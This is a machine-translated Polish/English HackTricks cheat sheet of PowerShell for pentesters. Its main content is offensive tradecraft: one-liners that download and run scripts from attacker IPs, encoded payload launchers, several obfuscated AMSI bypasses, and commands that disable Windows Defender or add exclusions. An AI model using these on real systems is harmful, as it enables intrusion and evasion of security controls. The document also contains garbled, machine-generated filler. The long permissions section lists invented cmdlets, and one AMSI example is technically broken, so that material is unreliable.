hacktricks/windows-hardening/basic-powershell-for-pentesters/README.md
2024-02-11 01:46:25 +00:00

120 KiB
Raw Blame History

Podstawy PowerShell dla pentesterów

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Domyślne lokalizacje PowerShell

C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell

Podstawowe polecenia PS do rozpoczęcia

Here are some basic PowerShell commands that can help you get started:

Oto kilka podstawowych poleceń PowerShell, które mogą pomóc Ci rozpocząć:

Get-Command

Use the Get-Command command to retrieve a list of available commands in PowerShell.

Użyj polecenia Get-Command, aby wyświetlić listę dostępnych poleceń w PowerShell.

Get-Command

Get-Help

If you need help with a specific command, use the Get-Help command followed by the command name.

Jeśli potrzebujesz pomocy dotyczącej konkretnego polecenia, użyj polecenia Get-Help, a następnie podaj nazwę polecenia.

Get-Help <command_name>

Get-Process

To retrieve a list of running processes, use the Get-Process command.

Aby wyświetlić listę uruchomionych procesów, użyj polecenia Get-Process.

Get-Process

Get-Service

To retrieve a list of installed services, use the Get-Service command.

Aby wyświetlić listę zainstalowanych usług, użyj polecenia Get-Service.

Get-Service

Get-EventLog

To retrieve event logs, use the Get-EventLog command followed by the log name.

Aby wyświetlić dzienniki zdarzeń, użyj polecenia Get-EventLog, a następnie podaj nazwę dziennika.

Get-EventLog -LogName <log_name>

Get-WmiObject

To retrieve information from WMI (Windows Management Instrumentation), use the Get-WmiObject command followed by the WMI class name.

Aby uzyskać informacje z WMI (Windows Management Instrumentation), użyj polecenia Get-WmiObject, a następnie podaj nazwę klasy WMI.

Get-WmiObject -Class <class_name>

Get-ChildItem

To list files and directories in a specific location, use the Get-ChildItem command followed by the path.

Aby wyświetlić pliki i katalogi w określonym miejscu, użyj polecenia Get-ChildItem, a następnie podaj ścieżkę.

Get-ChildItem -Path <path>

These are just a few examples of basic PowerShell commands. As you explore more, you will discover a wide range of powerful capabilities that PowerShell offers.

To tylko kilka przykładów podstawowych poleceń PowerShell. W miarę eksploracji odkryjesz szeroki zakres potężnych możliwości, które oferuje PowerShell.

Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>

Pobierz i Uruchom

To jest prosty skrypt PowerShell, który można użyć do pobrania i uruchomienia pliku z internetu. Skrypt ten jest przydatny w przypadku, gdy chcesz zdalnie pobrać i uruchomić plik na komputerze docelowym.

$Url = "https://example.com/file.exe"
$Output = "C:\Temp\file.exe"

$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($Url, $Output)

Start-Process -FilePath $Output

Aby użyć tego skryptu, wystarczy zmienić wartości zmiennych $Url i $Output na odpowiednie wartości. $Url powinien zawierać pełny adres URL pliku, który chcesz pobrać, a $Output powinien zawierać ścieżkę docelową, gdzie chcesz zapisać pobrany plik.

Po uruchomieniu skryptu, plik zostanie pobrany z podanego adresu URL i zapisany w określonym miejscu. Następnie skrypt uruchomi ten plik na komputerze docelowym.

Pamiętaj, że ten skrypt może być używany w celach legalnych, takich jak testowanie bezpieczeństwa lub zarządzanie zdalnymi komputerami. Używanie go w nielegalny sposób jest niezgodne z prawem i może prowadzić do konsekwencji prawnych.

g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]

Pobierz i wykonaj w tle z pominięciem AMSI

$URL = "http://example.com/malicious_payload.exe"
$Output = "C:\Temp\malicious_payload.exe"

# Pobierz plik
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($URL, $Output)

# Wykonaj plik w tle z pominięciem AMSI
$Bytes = [System.IO.File]::ReadAllBytes($Output)
$EncodedCommand = [System.Convert]::ToBase64String($Bytes)
$Command = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedCommand))
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
powershell -exec bypass -enc $EncodedCommand

Ten skrypt PowerShell pobiera plik wykonywalny z podanego adresu URL i następnie wykonuje go w tle, pomijając skanowanie AMSI.

$URL = "http://example.com/malicious_payload.exe"
$Output = "C:\Temp\malicious_payload.exe"

# Download the file
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile($URL, $Output)

# Execute the file in the background with AMSI bypass
$Bytes = [System.IO.File]::ReadAllBytes($Output)
$EncodedCommand = [System.Convert]::ToBase64String($Bytes)
$Command = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($EncodedCommand))
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
powershell -exec bypass -enc $EncodedCommand

This PowerShell script downloads an executable file from the specified URL and then executes it in the background, bypassing AMSI scanning.

Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="

Używanie b64 w systemie Linux

The b64 command in Linux is used to encode or decode data in Base64 format. It is a useful tool for manipulating and transferring data in a text-based format. Here are some examples of how to use the b64 command:

Encoding data

To encode data using Base64, you can use the following command:

$ echo "Hello, World!" | b64

This will output the encoded data:

SGVsbG8sIFdvcmxkIQ==

Decoding data

To decode Base64-encoded data, you can use the following command:

$ echo "SGVsbG8sIFdvcmxkIQ==" | b64 -d

This will output the decoded data:

Hello, World!

Encoding a file

You can also encode the contents of a file using Base64. For example, to encode the contents of a file named file.txt, you can use the following command:

$ b64 file.txt

This will output the encoded data to the console.

Decoding a file

Similarly, you can decode the contents of a Base64-encoded file. For example, to decode the contents of a file named encoded.txt, you can use the following command:

$ b64 -d encoded.txt

This will output the decoded data to the console.

The b64 command is a handy tool for working with Base64-encoded data in Linux. It can be used in various scenarios, such as encoding or decoding data, or working with files.

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>

Pobierz

System.Net.WebClient

Aby pobrać plik za pomocą klasy System.Net.WebClient, wykonaj następujący kod:

$webClient = New-Object System.Net.WebClient
$url = "adres_url_pliku"
$destination = "ścieżka_docelowa"
$webClient.DownloadFile($url, $destination)

Gdzie:

  • adres_url_pliku to adres URL pliku, który chcesz pobrać.
  • ścieżka_docelowa to ścieżka, w której chcesz zapisać pobrany plik.

Przykład użycia:

$webClient = New-Object System.Net.WebClient
$url = "https://www.example.com/plik.txt"
$destination = "C:\Users\Użytkownik\Documents\plik.txt"
$webClient.DownloadFile($url, $destination)

Ten kod pobierze plik plik.txt ze strony https://www.example.com i zapisze go w lokalizacji C:\Users\Użytkownik\Documents\plik.txt.

(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")

Invoke-WebRequest

Invoke-WebRequest is a cmdlet in PowerShell that allows you to send HTTP and HTTPS requests to a web page or web service. It can be used for various purposes, such as downloading files, interacting with web APIs, and scraping web content.

To use Invoke-WebRequest, you need to provide the URL of the web page or web service you want to interact with. You can also specify additional parameters, such as headers, cookies, and authentication credentials.

Here is an example of how to use Invoke-WebRequest to download a file from a web server:

Invoke-WebRequest -Uri "https://example.com/file.txt" -OutFile "C:\path\to\save\file.txt"

In this example, the -Uri parameter specifies the URL of the file you want to download, and the -OutFile parameter specifies the path where you want to save the downloaded file.

You can also use Invoke-WebRequest to interact with web APIs by sending HTTP requests with specific headers and parameters. For example, you can send a POST request with JSON data to a web API:

$headers = @{
    "Content-Type" = "application/json"
}

$body = @{
    "name" = "John Doe"
    "email" = "johndoe@example.com"
} | ConvertTo-Json

Invoke-WebRequest -Uri "https://api.example.com/users" -Method Post -Headers $headers -Body $body

In this example, the -Method parameter specifies the HTTP method (POST in this case), the -Headers parameter specifies the request headers, and the -Body parameter specifies the request body.

Invoke-WebRequest is a powerful cmdlet that can be used for various web-related tasks in PowerShell. It provides a convenient way to interact with web pages, web services, and web APIs.

Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"

Wget

Wget to narzędzie wiersza poleceń, które umożliwia pobieranie plików z sieci. Może być używane do pobierania plików z serwerów HTTP, HTTPS i FTP. Wget jest często używany przez pentesterów do pobierania plików z celu przeprowadzenia analizy i testów penetracyjnych.

Składnia

wget [opcje] [adres URL]

Przykłady użycia

Pobierz plik z serwera HTTP:

wget http://example.com/plik.txt

Pobierz plik z serwera HTTPS:

wget https://example.com/plik.txt

Pobierz plik z serwera FTP:

wget ftp://example.com/plik.txt

Opcje

  • -O <nazwa_pliku>: Określa nazwę, pod jaką zostanie zapisany pobrany plik.
  • -P <ścieżka>: Określa ścieżkę, do której zostanie zapisany pobrany plik.
  • -r: Rekursywnie pobiera wszystkie pliki z podkatalogów.
  • -np: Nie przechodzi do katalogów nadrzędnych podczas rekursywnego pobierania.
  • -nc: Nie pobiera pliku, jeśli już istnieje.
  • -nv: Wyłącza wyświetlanie komunikatów o postępie pobierania.
  • -q: Wyłącza wyświetlanie jakichkolwiek komunikatów.
  • -U <nazwa_agenta>: Określa nazwę agenta użytkownika, która zostanie wysłana do serwera podczas pobierania.

Więcej informacji na temat dostępnych opcji można znaleźć w dokumentacji Wget.

wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"

BitsTransfer

BitsTransfer to usługa w systemie Windows, która umożliwia przesyłanie plików między komputerami za pomocą protokołu HTTP lub HTTPS. Jest to przydatne narzędzie dla pentesterów, którzy chcą przenosić pliki w trakcie testów penetracyjnych.

Aby rozpocząć transfer pliku za pomocą BitsTransfer, można użyć polecenia Start-BitsTransfer. Polecenie to wymaga podania źródłowego i docelowego adresu URL, a także lokalizacji, w której ma zostać zapisany plik.

Przykład użycia polecenia Start-BitsTransfer:

Start-BitsTransfer -Source "http://example.com/file.txt" -Destination "C:\Temp\file.txt"

Polecenie to rozpocznie transfer pliku file.txt z adresu URL http://example.com/file.txt i zapisze go w lokalizacji C:\Temp\file.txt na komputerze docelowym.

BitsTransfer oferuje również inne przydatne funkcje, takie jak wznawianie przerwanych transferów, monitorowanie postępu transferu i zarządzanie transferami w tle.

Aby uzyskać więcej informacji na temat BitsTransfer i dostępnych poleceń, można użyć polecenia Get-Help Start-BitsTransfer w konsoli PowerShell.

Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous

Base64 Kali & EncodedCommand

W systemie Kali Linux możemy używać polecenia base64 do kodowania i dekodowania danych w formacie Base64. Może to być przydatne podczas pentestowania, gdy chcemy ukryć nasze polecenia przed wykryciem.

Aby zakodować dane za pomocą Base64 w Kali Linux, możemy użyć następującego polecenia:

echo -n "Dane do zakodowania" | base64

Aby zdekodować dane zakodowane w formacie Base64, możemy użyć polecenia:

echo -n "Dane do zdekodowania" | base64 -d

W przypadku pentestowania systemów Windows możemy użyć parametru -EncodedCommand w PowerShell do uruchamiania poleceń zaszyfrowanych w formacie Base64. Może to pomóc w uniknięciu wykrycia przez systemy antywirusowe.

Aby uruchomić zaszyfrowane polecenie w PowerShell, możemy użyć następującej składni:

powershell.exe -EncodedCommand "Zaszyfrowane polecenie w formacie Base64"

Pamiętaj, że polecenie musi być zakodowane w formacie Base64 przed użyciem parametru -EncodedCommand.

kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>

Polityka wykonywania

Ograniczony język

Polityka AppLocker

Włącz WinRM (Zdalne PS)

enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}

Wyłączanie Defendera

{% code overflow="wrap" %}

# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0

{% endcode %}

Bypass AMSI

amsi.dll jest ładowany do twojego procesu i ma niezbędne eksporty, aby każda aplikacja z nim współpracować. Ponieważ jest ładowany do przestrzeni pamięci procesu, który kontrolujesz, możesz zmienić jego zachowanie przez nadpisanie instrukcji w pamięci. Sprawia to, że nie wykrywa niczego.

Dlatego celem bypassów AMSI jest nadpisanie instrukcji tej DLL w pamięci, aby wykrywanie było bezużyteczne.

Strona internetowa generująca bypassy AMSI: https://amsi.fail/

# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html

AMSI Bypass 2 - Podpinanie wywołań zarządzanych API

Sprawdź ten post, aby uzyskać szczegółowe informacje i kod. Wprowadzenie:

Ta nowa technika polega na podpinaniu wywołań API metod .NET. Okazuje się, że metody .NET muszą zostać skompilowane do instrukcji maszynowych w pamięci, które wyglądają bardzo podobnie do metod natywnych. Te skompilowane metody mogą być podpinane, aby zmienić przepływ sterowania programu.

Kroki wykonywania podpinania wywołań API metod .NET to:

  1. Zidentyfikuj docelową metodę do podpięcia
  2. Zdefiniuj metodę o takim samym prototypie funkcji jak docelowa
  3. Użyj refleksji, aby znaleźć metody
  4. Upewnij się, że każda metoda została skompilowana
  5. Znajdź lokalizację każdej metody w pamięci
  6. Nadpisz docelową metodę instrukcjami wskazującymi na naszą złośliwą metodę

AMSI Bypass 3 - Uprawnienia SeDebug

Za pomocą tego przewodnika i kodu możesz zobaczyć, jak przy wystarczających uprawnieniach do debugowania procesów można uruchomić proces powershell.exe, go debugować, monitorować, kiedy ładowana jest biblioteka amsi.dll i ją wyłączyć.

AMSI Bypass - Więcej zasobów

Historia PS

Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt

Znajdź nowsze pliki

Opcje: CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc

# LastAccessTime:
(gci C:\ -r | sort -Descending LastAccessTime | select -first 100) | Select-Object -Property LastAccessTime,FullName

# LastWriteTime:
(gci C:\ -r | sort -Descending LastWriteTime | select -first 100) | Select-Object -Property LastWriteTime,FullName

Uzyskaj uprawnienia

Aby uzyskać informacje na temat uprawnień użytkowników w systemie Windows, można użyć następujących poleceń PowerShell:

Polecenie Get-ACL

Polecenie Get-ACL pozwala na pobranie listy uprawnień dla określonego obiektu, takiego jak plik, folder lub rejestr. Można je użyć w następujący sposób:

Get-ACL -Path C:\Folder

Polecenie Get-Acl | Format-List

Polecenie Get-ACL można połączyć z poleceniem Format-List, aby uzyskać bardziej szczegółowe informacje na temat uprawnień. Przykład użycia:

Get-ACL -Path C:\Folder | Format-List

Polecenie Get-NTFSAccess

Polecenie Get-NTFSAccess pozwala na pobranie uprawnień NTFS dla określonego obiektu. Można je użyć w następujący sposób:

Get-NTFSAccess -Path C:\Folder

Polecenie Get-EffectiveAccess

Polecenie Get-EffectiveAccess pozwala na sprawdzenie efektywnych uprawnień dla określonego użytkownika w systemie Windows. Można je użyć w następujący sposób:

Get-EffectiveAccess -Identity DOMAIN\Username -Path C:\Folder

Polecenie Get-ProcessTokenPrivilege

Polecenie Get-ProcessTokenPrivilege pozwala na pobranie informacji o uprawnieniach tokena procesu. Można je użyć w następujący sposób:

Get-ProcessTokenPrivilege -ProcessId 1234

Polecenie Get-ServicePermission

Polecenie Get-ServicePermission pozwala na pobranie uprawnień dla określonej usługi systemowej. Można je użyć w następujący sposób:

Get-ServicePermission -ServiceName ServiceName

Polecenie Get-RegistryKeyPermission

Polecenie Get-RegistryKeyPermission pozwala na pobranie uprawnień dla określonego klucza rejestru. Można je użyć w następujący sposób:

Get-RegistryKeyPermission -KeyPath HKLM:\Software\Microsoft

Polecenie Get-SharePermission

Polecenie Get-SharePermission pozwala na pobranie uprawnień dla określonego udziału sieciowego. Można je użyć w następujący sposób:

Get-SharePermission -Name ShareName

Polecenie Get-ADUser

Polecenie Get-ADUser pozwala na pobranie informacji o użytkownikach z Active Directory. Można je użyć w następujący sposób:

Get-ADUser -Identity Username

Polecenie Get-ADGroup

Polecenie Get-ADGroup pozwala na pobranie informacji o grupach z Active Directory. Można je użyć w następujący sposób:

Get-ADGroup -Identity GroupName

Polecenie Get-ADComputer

Polecenie Get-ADComputer pozwala na pobranie informacji o komputerach z Active Directory. Można je użyć w następujący sposób:

Get-ADComputer -Identity ComputerName

Polecenie Get-ADObject

Polecenie Get-ADObject pozwala na pobranie informacji o obiektach z Active Directory. Można je użyć w następujący sposób:

Get-ADObject -Identity ObjectName

Polecenie Get-ADDomain

Polecenie Get-ADDomain pozwala na pobranie informacji o domenie z Active Directory. Można je użyć w następujący sposób:

Get-ADDomain

Polecenie Get-ADForest

Polecenie Get-ADForest pozwala na pobranie informacji o lesie z Active Directory. Można je użyć w następujący sposób:

Get-ADForest

Polecenie Get-ADTrust

Polecenie Get-ADTrust pozwala na pobranie informacji o zaufaniu z Active Directory. Można je użyć w następujący sposób:

Get-ADTrust

Polecenie Get-ADDomainController

Polecenie Get-ADDomainController pozwala na pobranie informacji o kontrolerach domeny z Active Directory. Można je użyć w następujący sposób:

Get-ADDomainController

Polecenie Get-ADReplicationSite

Polecenie Get-ADReplicationSite pozwala na pobranie informacji o witrynach replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationSite

Polecenie Get-ADReplicationSubnet

Polecenie Get-ADReplicationSubnet pozwala na pobranie informacji o podsieciach replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationSubnet

Polecenie Get-ADReplicationConnection

Polecenie Get-ADReplicationConnection pozwala na pobranie informacji o połączeniach replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationConnection

Polecenie Get-ADReplicationPartnerMetadata

Polecenie Get-ADReplicationPartnerMetadata pozwala na pobranie metadanych partnera replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationPartnerMetadata

Polecenie Get-ADReplicationAttributeMetadata

Polecenie Get-ADReplicationAttributeMetadata pozwala na pobranie metadanych atrybutu replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationAttributeMetadata

Polecenie Get-ADReplicationUpToDatenessVectorTable

Polecenie Get-ADReplicationUpToDatenessVectorTable pozwala na pobranie tabeli wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTable

Polecenie Get-ADReplicationUpToDatenessVectorTablePartition

Polecenie Get-ADReplicationUpToDatenessVectorTablePartition pozwala na pobranie tabeli partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTablePartition

Polecenie Get-ADReplicationUpToDatenessVectorTableObject

Polecenie Get-ADReplicationUpToDatenessVectorTableObject pozwala na pobranie tabeli obiektów wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTableObject

Polecenie Get-ADReplicationUpToDatenessVectorTableAttribute

Polecenie Get-ADReplicationUpToDatenessVectorTableAttribute pozwala na pobranie tabeli atrybutów wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTableAttribute

Polecenie Get-ADReplicationUpToDatenessVectorTableValue

Polecenie Get-ADReplicationUpToDatenessVectorTableValue pozwala na pobranie tabeli wartości wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTableValue

Polecenie Get-ADReplicationUpToDatenessVectorTableLink pozwala na pobranie tabeli połączeń wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTableLink

Polecenie Get-ADReplicationUpToDatenessVectorTableSite

Polecenie Get-ADReplicationUpToDatenessVectorTableSite pozwala na pobranie tabeli witryn wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTableSite

Polecenie Get-ADReplicationUpToDatenessVectorTableServer

Polecenie Get-ADReplicationUpToDatenessVectorTableServer pozwala na pobranie tabeli serwerów wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTableServer

Polecenie Get-ADReplicationUpToDatenessVectorTableNamingContext

Polecenie Get-ADReplicationUpToDatenessVectorTableNamingContext pozwala na pobranie tabeli kontekstów nazw wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTableNamingContext

Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionLink pozwala na pobranie tabeli połączeń partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTablePartitionLink

Polecenie Get-ADReplicationUpToDatenessVectorTableObjectLink pozwala na pobranie tabeli połączeń obiektów wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTableObjectLink

Polecenie Get-ADReplicationUpToDatenessVectorTableAttributeLink pozwala na pobranie tabeli połączeń atrybutów wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTableAttributeLink

Polecenie Get-ADReplicationUpToDatenessVectorTableValueLink pozwala na pobranie tabeli połączeń wartości wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTableValueLink

Polecenie Get-ADReplicationUpToDatenessVectorTableSiteLink pozwala na pobranie tabeli połączeń witryn wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTableSiteLink

Polecenie Get-ADReplicationUpToDatenessVectorTableServerLink pozwala na pobranie tabeli połączeń serwerów wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTableServerLink

Polecenie Get-ADReplicationUpToDatenessVectorTableNamingContextLink pozwala na pobranie tabeli połączeń kontekstów nazw wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTableNamingContextLink

Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionObject

Polecenie Get-ADReplicationUpToDatenessVectorTablePartitionObject pozwala na pobranie tabeli obiektów partycji wektorów aktualności replikacji z Active Directory. Można je użyć w następujący sposób:

Get-ADReplicationUpToDatenessVectorTablePartitionObject

